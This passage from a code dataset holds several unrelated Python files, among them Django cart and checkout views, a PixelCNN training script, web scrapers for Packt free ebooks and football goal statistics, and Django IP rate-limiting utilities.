\n \n @api.model\n def create_to_mi(self, vals_list):\n vals_list['date_'] = vals_list.get(\"update_date\")\n #raise UserError(vals_list.get('date_'))\n del vals_list['update_date']\n new_addition = self.env['zadara_inventory.master_inventory'].create(vals_list)\n if vals_list.get('product_number'):\n del vals_list['product_number']\n \n del vals_list['purchase_date']\n \n del vals_list['po_number']\n \n del vals_list['purchased_from']\n del vals_list['country_of_origin']\n \n\n del vals_list['product_notes']\n\n del vals_list[\"availability_Type\"]\n \n\n self.env['zadara_inventory.product_history'].create(vals_list)\n\n def write_to_mi(self,vals_list):\n vals_list['date_'] = vals_list.get(\"update_date\")\n #raise UserError(vals_list.get('date_'))\n del vals_list['update_date']\n x = vals_list.get('product_id')\n \n sn = vals_list.get('serial_number')\n mi = self.env['zadara_inventory.master_inventory'].search([['product_id', '=', x], ['serial_number', '=', sn],['location_id','=',vals_list.get('location_id')]])\n mi.write(vals_list)\n if vals_list.get('product_number'):\n del vals_list['product_number']\n \n del vals_list['purchased_from']\n\n \n del vals_list['country_of_origin']\n\n del vals_list['purchase_date']\n \n del vals_list['po_number']\n del vals_list['product_notes']\n\n self.env['zadara_inventory.product_history'].create(vals_list)\n return \n \n def write(self,vals_list):\n res = super(update_quantity, self).write(vals_list)\n return res\n \n \n \n \n # def sn_no_null(self):\n\n #for i in self:\n # if i.product_id.sudo().product_trackSerialNumber == True:\n # if serial_number == None:\n # raise ValidationError(\"no sn\")\n \n #check product type \n # @api.constrains('serial_number')\n #def check_sn(self):\n # if self.env['zadara_inventory.master_inventory'].check_invforsn(t.product_id,t.serial_number):\n # raise ValidationError(\"same sn\")\n \n #check serial numbers \n #create\n \n \n\n","sub_path":"zadara_inventory/models/update_quantity.py","file_name":"update_quantity.py","file_ext":"py","file_size_in_byte":8973,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"65"} +{"seq_id":"509919708","text":"import os\nimport webapp2\nfrom helpers import send_email, send_error_no_content_email\nfrom packt_scraper import scrape\nfrom packt_scraper import fetch_and_get_text\nimport logging\nimport urllib2\nimport urllib\nimport cookielib\nfrom google.appengine.ext import ereporter\nfrom google.appengine.api import taskqueue\n\nereporter.register_logger()\n\nlogin_details = {\n \"email\": os.environ.get(\"PACKT_EMAIL\"),\n \"password\": os.environ.get(\"PACKT_PASSWORD\"),\n \"op\": \"Login\",\n \"form_id\": \"packt_user_login_form\",\n \"form_build_id\": \"\"\n}\n\nlogin_error = \"\"\"Sorry, you entered an invalid email\n address and password combination.\"\"\"\n\ncj = cookielib.CookieJar()\nhttp_handler = urllib2.HTTPCookieProcessor(cj)\nopener = urllib2.build_opener(http_handler)\n\nurl = 'https://www.packtpub.com/packt/offers/free-learning'\nget_book_url_path = \"//*[@id='free-learning-form']/@action\"\nbook_title_path = \"//div[contains(@class, 'dotd-title')]\"\nnew_form_id_path = \"//input[@type='hidden'][starts-with(@id, 'form')][starts-with(@value, 'form')]/@value\"\nimage_url_path = \"//img[contains(@class, 'bookimage')]/@src\"\nbook_description_path = \"//*[@id='deal-of-the-day']/div/div/div[2]/div[3]\"\n\n\nclass TaskHandler(webapp2.RequestHandler):\n\n def post(self):\n # scrape essential informations\n page_text = fetch_and_get_text(url)\n (get_book_url,\n book_title,\n new_form_id,\n image_url,\n book_description) = scrape(page_text,\n get_book_url_path,\n book_title_path,\n new_form_id_path,\n image_url_path,\n book_description_path)\n\n if new_form_id:\n login_details[\"form_build_id\"] = new_form_id\n\n logging.info(\"\"\"get_book_url: %s \\n\n book_title: %s \\n new_form_id: %s \\n image_url: %s\"\"\" % (\n get_book_url, book_title, new_form_id, image_url))\n logging.info('book_description: \\n %s' % book_description)\n\n if get_book_url is None:\n logging.error(\"impossible to get data. No need to continue\")\n send_error_no_content_email(\"Error getting new book\", \"\"\"Getting the new book has\n been impossible. The offer seems to be suspended.\n You could retry manually by visiting the root\n page of the application on appengine.\n The task is not going to be retried authomatically.\"\"\")\n else:\n # login\n login_payload = urllib.urlencode(login_details)\n login_request = urllib2.Request(\n url, login_payload,\n {'content-type': 'application/x-www-form-urlencoded'})\n login_response = opener.open(login_request, timeout=45)\n login_failed = login_error in login_response.read()\n\n if login_failed:\n logging.error('login failed')\n self.error(401)\n return\n\n # grab book\n grab_book = opener.open(\n 'https://www.packtpub.com' + get_book_url,\n data=None, timeout=45)\n grab_book_response = grab_book.read()\n\n send_email(book_title, book_description, 'https:'+image_url)\n\n self.response.write('done')\n\n\nclass MainHandler(webapp2.RequestHandler):\n\n def get(self):\n taskqueue.add(url='/task')\n\n\napp = webapp2.WSGIApplication([\n ('/', MainHandler),\n ('/task', TaskHandler)\n], debug=True)\n","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":3568,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"65"} +{"seq_id":"118163126","text":"import os\nimport time\n\nimport numpy as np\nimport tensorflow as tf\nimport kerastuner\n\nimport helperfns\nimport networkarch as net\n\n#tf.keras.backend.set_floatx('float64')\n\n\ndef try_net(params):\n \"\"\"Run a random experiment for particular params and data.\n\n Arguments:\n params -- dictionary of parameters for experiment\n\n Returns:\n None\n\n Side effects:\n Changes params dict\n Saves files\n \"\"\"\n # SET UP NETWORK\n deep_koop = net.DeepKoopmanHyperModel(params['input_dim'], params['len_time'],\n params['num_shifts'], params['delta_t'])\n\n tuner = kerastuner.tuners.Hyperband(\n deep_koop,\n objective=kerastuner.Objective(\"val_prediction_loss\", direction=\"min\"),\n max_epochs=params['num_passes_per_file'],\n directory=params['data_name'],\n project_name=params['folder_name'],\n executions_per_trial=3,\n seed=42,\n )\n\n data_train_tensor = helperfns.load_training_data(params['data_name'], params['data_train_len'], params['len_time'], params['num_shifts'])\n data_val_tensor = helperfns.load_eval_data(params['data_name'], params['len_time'], params['num_shifts'])\n\n reduce_lr = tf.keras.callbacks.ReduceLROnPlateau(monitor='val_prediction_loss', patience=10)\n stop_early = tf.keras.callbacks.EarlyStopping(monitor='val_prediction_loss', patience=15, restore_best_weights=True)\n\n tuner.search_space_summary()\n\n tuner.search(\n x=data_train_tensor,\n y=data_train_tensor,\n validation_data=(data_val_tensor, data_val_tensor),\n shuffle=True,\n epochs=params['num_passes_per_file'],\n batch_size=params[\"batch_size\"],\n callbacks=[reduce_lr, stop_early],\n )\n\n tuner.results_summary()\n\n\ndef main_exp(params):\n \"\"\"Set up and run one random experiment.\n\n Arguments:\n params -- dictionary of parameters for experiment\n\n Returns:\n None\n\n Side effects:\n Changes params dict\n If doesn't already exist, creates folder params['folder_name']\n Saves files in that folder\n \"\"\"\n helperfns.set_defaults(params)\n\n if not os.path.exists(params['folder_name']):\n os.makedirs(params['folder_name'])\n\n tf.compat.v1.set_random_seed(params['seed'])\n np.random.seed(params['seed'])\n try_net(params)\n","sub_path":"training.py","file_name":"training.py","file_ext":"py","file_size_in_byte":2308,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"65"} +{"seq_id":"205312846","text":"# https://www.codewars.com/kata/55e7280b40e1c4a06d0000aa/train/python\nfrom itertools import combinations\n\nxs = [100, 76, 56, 44, 89, 73, 68, 56, 64, 123, 2333, 144, 50, 132, 123, 34, 89]\n\n\ndef choose_best_sum(t: int, k: int, ls: list):\n res = []\n for item in combinations(ls, k):\n if sum(item) > t:\n continue\n res.append(sum(item))\n if res:\n return max(res)\n return None\n\n\nprint(choose_best_sum(430, 8, xs))\n","sub_path":"задача 40.py","file_name":"задача 40.py","file_ext":"py","file_size_in_byte":452,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"65"} +{"seq_id":"585929613","text":"\"\"\"Constants.\"\"\"\nimport os\nfrom datetime import datetime\nimport pytz\n\nCONTAINER_DIR = '/app'\nOUTPUT_DIR = \"./cache\"\nALT_PROCESSING_DIR = './Dropbox/COVID19/chime'\nALT_OUTPUT_DIR = \"./output\"\n\nPARAMETERS_FILE = ALT_PARAMETERS_FILE = \"./parameters/params.txt\"\n\nSD_MODEL_DIR = './parameters/sd'\n\nclass ChimeCLIEnvironment :\n \"\"\"Arbitrary regions to sum population.\"\"\"\n\n def __init__(self):\n\n self.sd_model_dir = SD_MODEL_DIR + \"/\"\n\n if os.getcwd() == CONTAINER_DIR :\n self.output_dir = OUTPUT_DIR\n self.parameters_file = PARAMETERS_FILE\n self.inContainer = True\n else :\n self.inContainer = False\n self.output_dir = ALT_OUTPUT_DIR\n self.parameters_file = ALT_PARAMETERS_FILE\n os.chdir(ALT_PROCESSING_DIR)\n\n if not os.path.exists(SD_MODEL_DIR):\n os.mkdir(SD_MODEL_DIR)\n\n tz_NY = pytz.timezone('America/New_York')\n t = datetime.now(tz_NY).strftime(\"/%Y%m%d-%H%M%S\")\n\n self.run_datetime = datetime.now(tz_NY)\n self.output_dir += t\n os.mkdir(self.output_dir)\n\n self.archive_file_name = \"chime-\" + datetime.now(tz_NY).strftime(\"%Y%m%d-%H%M%S\") + \".zip\"\n","sub_path":"src/clienv.py","file_name":"clienv.py","file_ext":"py","file_size_in_byte":1208,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"65"} +{"seq_id":"592168851","text":"from django.shortcuts import render, redirect\nfrom .models import Cart, Item\nfrom products.models import Product\nfrom orders.models import Order\nfrom accounts.forms import LoginForm, GuestForm\nfrom billing.models import BillingProfile\nfrom accounts.models import GuestEmail\nfrom addresses.forms import AddressForm\nfrom addresses.models import Address\n\nfrom django.http import JsonResponse\nfrom django.http import HttpResponseRedirect\n\nfrom analytics.signals import object_carted_signal\n\n\ndef cart_detail_api_view(request):\n\tcart_obj, is_new_obj = Cart.objects.new_or_get(request)\n\tproducts = [{\n\t\t\"id\": x.id,\n\t\t\"url\": x.get_absolute_url(),\n\t\t\"name\": x.name,\n\t\t\"price\": x.price\n\t\t}\n\t\tfor x in cart_obj.products.all()]\n\n\tcart_data = {\n\t\t\"products\": products,\n\t\t\"subtotal\": cart_obj.subtotal,\n\t\t\"total\": cart_obj.total\n\t}\n\treturn JsonResponse(cart_data)\n\n\ndef cart_home(request):\n\tcart_obj, is_new_obj = Cart.objects.new_or_get(request)\n\treturn render(request, \"carts/home.html\", {\"cart\":cart_obj})\n\n\ndef cart_update(request):\n\tcart_id = request.session.get('cart_id', None)\n\tcart_obj = Cart.objects.get(id=cart_id)\n\trequest.session['cart_items'] = cart_obj.product_count\n\n\tnext = request.session.get('cart_update_next', None)\n\treturn HttpResponseRedirect(next)\n\n\ndef cart_add(request):\n\tproduct_id = request.POST.get('product_id')\n\t\n\tif product_id is not None:\n\t\ttry:\n\t\t\tproduct_obj = Product.objects.get(id=product_id)\n\t\texcept Product.DoesNotExist:\n\t\t\tprint(\"Show message to user, product is gone?\")\n\t\t\treturn redirect(\"cart:home\")\n\t\tcart_obj, is_new_obj = Cart.objects.new_or_get(request)\n\t\tqs = cart_obj.items.filter(product=product_obj)\n\t\tif qs.count() != 0:\n\t\t\titem = qs.first()\n\t\t\titem.quantity += 1\n\t\t\titem.save()\n\n\t\t\tincreased = True\n\t\telse:\n\t\t\tnew_item = Item.objects.create(product=product_obj)\n\t\t\tcart_obj.items.add(new_item)\n\t\t\tadded = True\n\n\t\trequest.session['cart_items'] = cart_obj.product_count\n\t\t# return redirect(product_obj.get_absolute_url())\n\t\t# if request.is_ajax(): # Asynchronous Javascript And XML / JSON\n\t\t# \tprint(\"Ajax request\")\n\t\t# \tjson_data = {\n\t\t# \t\t\"added\": added,\n\t\t# \t\t\"removed\": not added,\n\t\t# \t\t\"cartItemCount\": cart_obj.products.count()\n\t\t# \t}\n\t\t# \treturn JsonResponse(json_data)\n\n\t\tobject_carted_signal.send(product_obj.__class__, instance=product_obj, request=request)\n\n\tnext = request.POST.get('next', '/')\n\trequest.session['cart_update_next'] = next\n\treturn redirect(\"cart:update\")\n\t# return HttpResponseRedirect(next)\n\n\ndef cart_remove(request):\n\tproduct_id = request.POST.get('product_id')\n\t\n\tif product_id is not None:\n\t\ttry:\n\t\t\tproduct_obj = Product.objects.get(id=product_id)\n\t\texcept Product.DoesNotExist:\n\t\t\tprint(\"Show message to user, product is gone?\")\n\t\t\treturn redirect(\"cart:home\")\n\t\tcart_obj, is_new_obj = Cart.objects.new_or_get(request)\n\t\tqs = cart_obj.items.filter(product=product_obj)\n\t\tif qs.count() != 0:\n\t\t\titem = qs.first()\n\t\t\tcart_obj.items.remove(item)\n\t\t\titem.delete()\n\t\t\tremoved = True\n\t\telse:\n\t\t\tprint(\"Error removing item. No item of that product found in cart.\")\n\n\t\trequest.session['cart_items'] = cart_obj.product_count\n\t\t# return redirect(product_obj.get_absolute_url())\n\t\t# if request.is_ajax(): # Asynchronous Javascript And XML / JSON\n\t\t# \tprint(\"Ajax request\")\n\t\t# \tjson_data = {\n\t\t# \t\t\"added\": added,\n\t\t# \t\t\"removed\": not added,\n\t\t# \t\t\"cartItemCount\": cart_obj.products.count()\n\t\t# \t}\n\t\t# \treturn JsonResponse(json_data)\n\n\tnext = request.POST.get('next', '/')\n\trequest.session['cart_update_next'] = next\n\treturn redirect(\"cart:update\")\n\t# return HttpResponseRedirect(next)\n\n\ndef checkout_home(request):\n\tcart_obj, cart_created = Cart.objects.new_or_get(request)\n\torder_obj = None\n\tif cart_created or cart_obj.product_count == 0:\n\t\treturn redirect(\"cart:home\")\n\n\tlogin_form = LoginForm()\n\tguest_form = GuestForm()\n\taddress_form = AddressForm()\n\n\tbilling_address_id = request.session.get(\"billing_address_id\", None)\n\tshipping_address_id = request.session.get(\"shipping_address_id\", None)\n\n\tbilling_profile, billing_profile_created = BillingProfile.objects.new_or_get(request)\n\t\n\taddress_qs = None\n\tif billing_profile is not None:\n\t\tif request.user.is_authenticated:\n\t\t\taddress_qs = Address.objects.filter(billing_profile=billing_profile)\n\t\t\n\t\torder_obj, order_obj_created = Order.objects.new_or_get(\n\t\t\tbilling_profile=billing_profile,\n\t\t\tcart_obj=cart_obj)\n\t\tif shipping_address_id:\n\t\t\torder_obj.shipping_address = Address.objects.get(id=shipping_address_id)\n\t\t\tdel request.session[\"shipping_address_id\"]\n\t\tif billing_address_id:\n\t\t\torder_obj.billing_address = Address.objects.get(id=billing_address_id)\n\t\t\tdel request.session[\"billing_address_id\"]\n\t\tif billing_address_id or shipping_address_id:\n\t\t\torder_obj.save()\n\n\tif request.method == \"POST\":\n\t\t\"check that order is done\"\n\t\tis_done = order_obj.check_done()\n\t\tif is_done:\n\t\t\torder_obj.mark_paid()\n\t\t\trequest.session['cart_items'] = 0\n\t\t\tdel request.session['cart_id']\n\t\t\treturn redirect(\"carts:success\")\n\n\tcontext = {\n\t\t\"object\": order_obj,\n\t\t\"billing_profile\": billing_profile,\n\t\t\"login_form\": login_form,\n\t\t\"guest_form\": guest_form,\n\t\t\"address_form\": address_form,\n\t\t\"address_qs\": address_qs,\n\t}\n\n\treturn render(request, \"carts/checkout.html\", context)\n\n\ndef checkout_done_view(request):\n\treturn render(request, \"carts/checkout-done.html\", {})\n\n","sub_path":"Online_store1/carts/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":5277,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"65"} +{"seq_id":"214555857","text":"import argparse\nimport time\nimport sys\nimport os\nimport numpy as np\nimport tensorflow as tf\nimport scopes\nimport nn\nimport plotting\nimport cifar10_data\nsys.setrecursionlimit(10000)\n\n\n# settings\nparser = argparse.ArgumentParser()\nparser.add_argument('--seed', type=int, default=1)\nparser.add_argument('--batch_size', type=int, default=12)\nparser.add_argument('--init_batch_size', type=int, default=100)\nparser.add_argument('--sample_batch_size', type=int, default=4)\nparser.add_argument('--nr_resnet', type=int, default=5)\nparser.add_argument('--nr_logistic_mix', type=int, default=10)\nparser.add_argument('--nr_gpu', type=int, default=8)\nparser.add_argument('--learning_rate', type=float, default=0.001)\nparser.add_argument('--lr_decay', type=float, default=0.999995)\nparser.add_argument('--nr_filters', type=int, default=256)\nparser.add_argument('--dropout_p', type=float, default=0.5)\nparser.add_argument('--save_interval', type=int, default=20)\nparser.add_argument('--data_set', type=str, default='cifar')\nparser.add_argument('--save_dir', type=str, default='./log')\nparser.add_argument('--data_dir', type=str, default='/home/tim/data')\nparser.add_argument('--load_params', type=int, default=0)\nparser.add_argument('--polyak_decay', type=float, default=0.9995)\nargs = parser.parse_args()\nprint(args)\n\n# fix random seed\nrng = np.random.RandomState(args.seed)\ntf.set_random_seed(args.seed)\n\n# pixelCNN\ndef model_spec(x, init=False, ema=None, dropout_p=args.dropout_p):\n counters = {}\n with scopes.arg_scope([nn.conv2d, nn.deconv2d, nn.gated_resnet, nn.aux_gated_resnet, nn.dense], counters=counters, init=init, ema=ema, dropout_p=dropout_p):\n\n # ////////// up pass through pixelCNN ////////\n xs = nn.int_shape(x)\n x_pad = tf.concat(3,[x,tf.ones(xs[:-1]+[1])]) # add channel of ones to distinguish image from padding later on\n u_list = [nn.down_shift(nn.down_shifted_conv2d(x_pad, num_filters=args.nr_filters, filter_size=[2, 3]))] # stream for pixels above\n ul_list = [nn.down_shift(nn.down_shifted_conv2d(x_pad, num_filters=args.nr_filters, filter_size=[2, 3])) + \\\n nn.right_shift(nn.down_right_shifted_conv2d(x_pad, num_filters=args.nr_filters, filter_size=[2, 1]))] # stream for up and to the left\n \n for rep in range(args.nr_resnet):\n u_list.append(nn.gated_resnet(u_list[-1], conv=nn.down_shifted_conv2d))\n ul_list.append(nn.aux_gated_resnet(ul_list[-1], u_list[-1], conv=nn.down_right_shifted_conv2d))\n \n u_list.append(nn.down_shifted_conv2d(u_list[-1], num_filters=args.nr_filters, stride=[2, 2]))\n ul_list.append(nn.down_right_shifted_conv2d(ul_list[-1], num_filters=args.nr_filters, stride=[2, 2]))\n \n for rep in range(args.nr_resnet):\n u_list.append(nn.gated_resnet(u_list[-1], conv=nn.down_shifted_conv2d))\n ul_list.append(nn.aux_gated_resnet(ul_list[-1], u_list[-1], conv=nn.down_right_shifted_conv2d))\n\n u_list.append(nn.down_shifted_conv2d(u_list[-1], num_filters=args.nr_filters, stride=[2, 2]))\n ul_list.append(nn.down_right_shifted_conv2d(ul_list[-1], num_filters=args.nr_filters, stride=[2, 2]))\n \n for rep in range(args.nr_resnet):\n u_list.append(nn.gated_resnet(u_list[-1], conv=nn.down_shifted_conv2d))\n ul_list.append(nn.aux_gated_resnet(ul_list[-1], u_list[-1], conv=nn.down_right_shifted_conv2d))\n \n # /////// down pass ////////\n u = u_list.pop()\n ul = ul_list.pop()\n for rep in range(args.nr_resnet):\n u = nn.aux_gated_resnet(u, u_list.pop(), conv=nn.down_shifted_conv2d)\n ul = nn.aux_gated_resnet(ul, tf.concat(3,[u, ul_list.pop()]), conv=nn.down_right_shifted_conv2d)\n\n u = nn.down_shifted_deconv2d(u, num_filters=args.nr_filters, stride=[2, 2])\n ul = nn.down_right_shifted_deconv2d(ul, num_filters=args.nr_filters, stride=[2, 2])\n\n for rep in range(args.nr_resnet+1):\n u = nn.aux_gated_resnet(u, u_list.pop(), conv=nn.down_shifted_conv2d)\n ul = nn.aux_gated_resnet(ul, tf.concat(3, [u, ul_list.pop()]), conv=nn.down_right_shifted_conv2d)\n\n u = nn.down_shifted_deconv2d(u, num_filters=args.nr_filters, stride=[2, 2])\n ul = nn.down_right_shifted_deconv2d(ul, num_filters=args.nr_filters, stride=[2, 2])\n\n for rep in range(args.nr_resnet+1):\n u = nn.aux_gated_resnet(u, u_list.pop(), conv=nn.down_shifted_conv2d)\n ul = nn.aux_gated_resnet(ul, tf.concat(3, [u, ul_list.pop()]), conv=nn.down_right_shifted_conv2d)\n\n x_out = nn.nin(tf.nn.elu(ul),10*args.nr_logistic_mix)\n\n assert len(u_list) == 0\n assert len(ul_list) == 0\n\n return x_out\n\nmodel = tf.make_template('model', model_spec)\n\n# data\nx_init = tf.placeholder(tf.float32, shape=(args.init_batch_size, 32, 32, 3))\n\n# run once for data dependent initialization of parameters\ngen_par = model(x_init, init=True)\n\n# get list of all params\nall_params = tf.trainable_variables()\n\n# keep track of moving average\nema = tf.train.ExponentialMovingAverage(decay=args.polyak_decay)\nmaintain_averages_op = tf.group(ema.apply(all_params))\n\n# sample from the model\nx_sample = tf.placeholder(tf.float32, shape=(args.sample_batch_size, 32, 32, 3))\ngen_par = model(x_sample, ema=ema, dropout_p=0.)\nnew_x_gen = nn.sample_from_discretized_mix_logistic(gen_par, args.nr_logistic_mix)\ndef sample_from_model(sess):\n x_gen = np.zeros((args.sample_batch_size,32,32,3), dtype=np.float32)\n for yi in range(32):\n for xi in range(32):\n new_x_gen_np = sess.run(new_x_gen, {x_sample: x_gen})\n x_gen[:,yi,xi,:] = new_x_gen_np[:,yi,xi,:].copy()\n return x_gen\n\n# get loss gradients over multiple GPUs\nxs = []\ngrads = []\nloss_gen = []\nloss_gen_test = []\nfor i in range(args.nr_gpu):\n xs.append(tf.placeholder(tf.float32, shape=(args.batch_size, 32, 32, 3)))\n\n with tf.device('/gpu:%d' % i):\n\n # train\n gen_par = model(xs[i])\n loss_gen.append(nn.discretized_mix_logistic_loss(xs[i], gen_par))\n\n # gradients\n grads.append(tf.gradients(loss_gen[i], all_params))\n\n # test\n gen_par = model(xs[i], ema=ema, dropout_p=0.)\n loss_gen_test.append(nn.discretized_mix_logistic_loss(xs[i], gen_par))\n\n# add gradients together and get training updates\ntf_lr = tf.placeholder(tf.float32, shape=[])\nwith tf.device('/gpu:0'):\n for i in range(1,args.nr_gpu):\n loss_gen[0] += loss_gen[i]\n loss_gen_test[0] += loss_gen_test[i]\n for j in range(len(grads[0])):\n grads[0][j] += grads[i][j]\n\n # training ops\n optimizer = nn.adam_updates(all_params, grads[0], lr=tf_lr, mom1=0.95, mom2=0.9995)\n\n# convert loss to bits / dim\nbits_per_dim = loss_gen[0]/(args.nr_gpu*np.log(2.)*3*32*32*args.batch_size)\nbits_per_dim_test = loss_gen_test[0]/(args.nr_gpu*np.log(2.)*3*32*32*args.batch_size)\n\n# init & save\ninitializer = tf.initialize_all_variables()\nsaver = tf.train.Saver()\n\n# load data\nif not os.path.exists(args.data_dir):\n os.makedirs(args.data_dir)\nif args.data_set == 'cifar':\n # load CIFAR-10 training data\n trainx, trainy = cifar10_data.load(args.data_dir + '/cifar-10-python')\n trainx = np.transpose(trainx, (0,2,3,1))\n nr_batches_train = int(trainx.shape[0]/args.batch_size)\n nr_batches_train_per_gpu = int(nr_batches_train/args.nr_gpu)\n\n # load CIFAR-10 test data\n testx, testy = cifar10_data.load(args.data_dir + '/cifar-10-python', subset='test')\n testx = np.transpose(testx, (0,2,3,1))\n nr_batches_test = int(testx.shape[0]/args.batch_size)\n nr_batches_test_per_gpu = int(nr_batches_test/args.nr_gpu)\n\nelif args.data_set == 'imagenet':\n # download van Oord et al.'s small imagenet data set and convert using png_to_npz.py\n imgnet_data = np.load(args.data_dir + '/small_imagenet/imgnet_32x32.npz')\n trainx = imgnet_data['trainx']\n nr_batches_train = int(trainx.shape[0] / args.batch_size)\n nr_batches_train_per_gpu = int(nr_batches_train / args.nr_gpu)\n testx = imgnet_data['testx']\n nr_batches_test = int(testx.shape[0] / args.batch_size)\n nr_batches_test_per_gpu = int(nr_batches_test / args.nr_gpu)\n\n\n# input to pixelCNN is scaled to [-1,1]\ndef scale_x(x):\n return np.cast[np.float32]((x - 127.5) / 127.5)\n\n# //////////// perform training //////////////\nif not os.path.exists(args.save_dir):\n os.makedirs(args.save_dir)\nprint('starting training')\ntest_bpd = []\nlr = args.learning_rate\nwith tf.Session() as sess:\n for epoch in range(5000):\n begin = time.time()\n\n # randomly permute\n inds = rng.permutation(trainx.shape[0])\n trainx = trainx[inds]\n\n # init\n if epoch==0:\n sess.run(initializer,{x_init: scale_x(trainx[:args.init_batch_size])})\n if args.load_params:\n saver.restore(sess, args.load_dir + '/params_' + args.data_set + '.ckpt')\n\n # train\n train_loss_gen = 0.\n for t in range(nr_batches_train_per_gpu):\n lr *= args.lr_decay\n feed_dict={tf_lr: lr}\n for i in range(args.nr_gpu):\n td = t + i*nr_batches_train_per_gpu\n feed_dict[xs[i]] = scale_x(trainx[td * args.batch_size:(td + 1) * args.batch_size])\n l,_ = sess.run([bits_per_dim,optimizer], feed_dict)\n train_loss_gen += l\n sess.run(maintain_averages_op)\n train_loss_gen /= nr_batches_train_per_gpu\n\n # test\n test_loss_gen = 0.\n for t in range(nr_batches_test_per_gpu):\n feed_dict = {}\n for i in range(args.nr_gpu):\n td = t + i * nr_batches_test_per_gpu\n feed_dict[xs[i]] = scale_x(testx[td * args.batch_size:(td + 1) * args.batch_size])\n l = sess.run(bits_per_dim_test, feed_dict)\n test_loss_gen += l\n test_loss_gen /= nr_batches_test_per_gpu\n test_bpd.append(test_loss_gen)\n\n # log\n print(\"Iteration %d, time = %ds, train bits_per_dim = %.4f, test bits_per_dim = %.4f\" % (epoch, time.time()-begin, train_loss_gen, test_loss_gen))\n sys.stdout.flush()\n\n if epoch%args.save_interval == 0:\n\n # generate samples from the model\n sample_x = sample_from_model(sess)\n #img_tile = plotting.img_tile(sample_x, aspect_ratio=1.0, border_color=1.0, stretch=True)\n #img = plotting.plot_img(img_tile, title='CIFAR10 samples')\n #plotting.plt.savefig(args.save_dir + '/cifar10_sample' + str(epoch) + '.png')\n #plotting.plt.close('all')\n import graphics\n graphics.save_raster(sample_x, args.save_dir + '/cifar10_sample' + str(epoch) + '.png')\n\n # save params\n saver.save(sess, args.save_dir + '/params_' + args.data_set + '.ckpt')\n np.savez(args.save_dir + '/test_bpd_' + args.data_set + '.npz', test_bpd=np.array(test_bpd))\n\n","sub_path":"train_double_cnn.py","file_name":"train_double_cnn.py","file_ext":"py","file_size_in_byte":10940,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"65"} +{"seq_id":"323101765","text":"import requests\nfrom bs4 import BeautifulSoup\nimport operator\n\ncountries = []\ngoals = []\ngoalsDict = {}\n\nheaders = {'User-Agent': \n 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/47.0.2526.106 Safari/537.36'}\n\nbaseUrl = \"https://www.transfermarkt.co.uk/jumplist/torgefaehrlichsteauslaender/wettbewerb/GB1/ajax/yw1/sort/tore.desc\"\npage = baseUrl\n\nfor i in range(60):\n pageTree = requests.get(page, headers = headers)\n pageSoup = BeautifulSoup(pageTree.content, 'html.parser')\n\n Countries = pageSoup.find_all(\"td\", {\"class\": \"zentriert\"})\n Goals = pageSoup.find_all(\"td\", {\"class\": \"zentriert hauptlink\"})\n\n for country in Countries:\n if country.img:\n if country.img['title'].strip():\n countries.append(country.img['title'].strip())\n\n for goal in Goals:\n goals.append(int(goal.a.text))\n\n page = baseUrl + '/page/' + str(i+2)\n\nfor i in range(len(goals)):\n name = countries[i]\n cur = goalsDict.get(name, 0)\n goalsDict[name] = cur + goals[i]\n\nsortedList = sorted(goalsDict.items(), key = operator.itemgetter(1), reverse = True)\n\nwith open('data.txt', 'w') as f:\n f.write(str(sortedList))\n","sub_path":"extract.py","file_name":"extract.py","file_ext":"py","file_size_in_byte":1199,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"65"} +{"seq_id":"125695394","text":"# -*- coding: utf-8 -*-\n\"\"\"\n@file: utils.py\n@author: lyn\n@contact: tonylu716@gmail.com\n@python: 3.5\n@editor: Vim\n@create: 3/29/17 2:04 AM\n@description:\n 用于反爬虫的一些过滤方法\n\"\"\"\n\nfrom django.contrib.auth.models import AnonymousUser\nfrom .models import RecentIpActivity, RequestRecord, Ban, VerifyCode\nfrom django.utils import timezone\nfrom datetime import timedelta\nfrom DjiStudio.settings import PERIOD_MINUTES, BAN_IP_RQUEST_LIMIT, BAN_HOURS\nfrom django.http import HttpResponseForbidden\nfrom random import Random\n\n\ndef get_client_ip(request):\n \"\"\"得到客户端请求的源IP。\n \n :param request: \n :return: \n \"\"\"\n x_forwarded_for = request.META.get('HTTP_X_FORWARDED_FOR')\n if x_forwarded_for:\n ip = x_forwarded_for.split(',')[0]\n else:\n ip = request.META.get('REMOTE_ADDR')\n return ip\n\n\ndef filter_ip(method_name=None, use_ban=False):\n \"\"\"过滤访问者IP的view func装饰器。\n \n 1.用于反爬虫或恶意请求。\n 2.考虑到Dji Studio网站的初期运营,只封ip,不封用户。\n \n :param method_name: \n :param use_ban: \n :return: \n \"\"\"\n def decrator(view_func):\n\n def wrapper(request):\n\n ip = get_client_ip(request)\n\n # IP若属于封禁列表,则返回403\n for ban in Ban.objects.filter(ip=ip):\n if timezone.now() < ban.ban_to:\n return HttpResponseForbidden()\n\n user = None if isinstance(request.user, AnonymousUser) else request.user\n method = method_name if method_name else view_func.__name__\n\n # 创建持久化访问记录(用户行为表)\n RequestRecord.objects.create(ip=ip, user=user, method=method)\n\n # 检索周期内访问记录\n if RecentIpActivity.objects.filter(ip=ip).count() == 0:\n # 周期内第一次访问,则创建记录\n new_activity = RecentIpActivity()\n new_activity.ip = ip\n new_activity.visits_in_period = 0\n new_activity.destroy_time = timezone.now() + timedelta(minutes=PERIOD_MINUTES)\n new_activity.save()\n else:\n # 其余则令访问次数自增\n activity = RecentIpActivity.objects.filter(ip=ip).first()\n activity.visits_in_period += 1\n activity.save()\n\n # 若大于访问限额,则在Ban表(黑名单)中创建对象\n if use_ban and activity.visits_in_period > BAN_IP_RQUEST_LIMIT:\n Ban.objects.create(ip=ip, ban_to=timezone.now() + timedelta(hours=BAN_HOURS))\n\n return view_func(request)\n\n return wrapper\n\n return decrator\n\n\ndef verify_is_ok(verify_code, user_email):\n \"\"\"基本的通行证校验逻辑。\n\n :param user_email: 用户邮箱\n :param verify_code: 通行证\n :return: Boolean: 是否通过\n \"\"\"\n 